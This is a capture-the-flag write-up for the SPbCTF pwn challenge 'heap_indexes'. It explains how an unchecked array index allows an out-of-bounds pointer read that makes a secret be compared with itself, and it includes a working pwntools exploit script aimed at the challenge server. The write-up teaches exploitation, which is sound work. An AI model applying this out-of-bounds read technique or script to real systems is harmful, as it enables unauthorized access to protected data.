pwn7 heap_indexes
pwn7 heap_indexes
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_layout_recovery, oob_index_pointer_read, self_compare_memcmp_bypass
Summary
Task: NON-PIE pwn where an unbounded scanf index drives storage[idx], an OOB pointer read, before memcmp(chosen, secret, 0x32) gates a /flag.txt print. Solution: point the OOB index at the heap chunk that stashes the secret pointer so chosen == secret_ptr, making memcmp(secret, secret) trivially equal — no knowledge of the random secret needed (idx = 52).
pwn7 heap_indexes — pwn_spbctf
Description
pwn7 heap_indexes — store some secrets, then pick one to compare with mine.
A small NON-PIE x86-64 binary. After storing user "secrets", it asks for an
index to compare against the program's own random secret. If they match, it
prints /flag.txt. The interesting part is an unbounded index that turns
storage[idx] into an out-of-bounds pointer read.
Analysis
Protections: NON-PIE, NX, Partial RELRO, no stack canary — none of which matter, because the bug is pure application logic, not memory-corruption control flow.
Control flow of main after store_secret():
scanf("%d", &idx)reads the comparison index with no bounds check. Only the storagecountis validated (1..0x20);idxis completely free.chosen = storage[idx]compiles tochosen = *(storage + 8*idx)— an OOB pointer read at an attacker-chosen offset from the storage array.memcmp(chosen, secret, 0x32) == 0→ opens/flag.txtandputsits content.
The secret itself is malloc(0x32) filled with 0x20 random bytes from
/dev/urandom (in read_secret), so brute-forcing or guessing it is infeasible.
The key observation: store_secret stashes the secret pointer into a small
malloc(8) chunk p. That chunk lives on the heap at a deterministic offset
relative to the storage array. If we make the OOB read land on p, then
chosen == secret_ptr, and memcmp(secret, secret, 0x32) == 0 is trivially
true — we win without ever knowing the secret.
Solution
The OOB index gives chosen = *(A + 8*idx) where A is the storage array base.
We want chosen to equal the secret pointer, i.e. to read the contents of chunk
p (which holds secret_ptr). So we need 8*idx == offset(p) - offset(A).
Heap layout (recovered with an LD_PRELOAD malloc hook in a
ubuntu:22.04 --platform linux/amd64 container, since gdb was unusable under
qemu emulation), with count = 1:
storage array : A (malloc 0x8)
slot0 : A+0x20 (malloc 0x20)
buf 0x140 : A+0x50
p (malloc 8) : A+0x1a0 <- holds secret_ptr
secret 0x32 : A+0x1c0
So 8*idx = 0x1a0 → idx = 52. Reading storage[52] dereferences *p,
yielding secret_ptr. Then memcmp(secret_ptr, secret, 0x32) compares the
secret with itself → 0 → WIN. These relative heap offsets are constant, so the
exploit is fully deterministic and worked on the first remote connection.
Inputs:
count = 1
secret[0] = "AAAAAAAA" (content irrelevant)
idx = 52
Exploit
python read-only • copy allowed#!/usr/bin/env python3 # pwn7 heap_indexes - SPB CTF # # Bug: after store_secret(), main does scanf("%d", &idx) with NO bounds check, # then chosen = storage[idx] (OOB pointer read), then memcmp(chosen, secret, 0x32). # If memcmp==0 -> reads /flag.txt and prints it. # # store_secret stashes the secret pointer into a malloc(8) chunk `p`. # With count=1, heap layout (relative offsets are deterministic): # storage array @ A (malloc 8) # slot0 @ A+0x20 (malloc 0x20) # buf0x140 @ A+0x50 # p (malloc 8) @ A+0x1a0 <- holds secret_ptr # secret(0x32) @ A+0x1c0 # storage[idx] = *(A + 8*idx). To make chosen == secret_ptr, read *p: # 8*idx = (A+0x1a0) - A = 0x1a0 => idx = 52 # Then chosen == secret => memcmp(secret,secret,0x32)==0 => WIN. from pwn import * context.log_level = 'info' HOST, PORT = "109.233.56.90", 11705 def solve(io): io.sendlineafter(b"secrets (32 max): ", b"1") # count = 1 io.sendlineafter(b"secret [0]: ", b"A" * 8) # fill slot 0 (content irrelevant) io.sendlineafter(b"compare with mine: ", b"52") # OOB idx -> chosen == secret ptr data = io.recvall(timeout=5) return data if __name__ == "__main__": io = remote(HOST, PORT) out = solve(io) print(out.decode(errors="replace")) m = re.search(rb"spbctf\{[^}]*\}", out, re.I) if m: log.success("FLAG: " + m.group().decode()) else: log.warning("No flag pattern found; raw output above")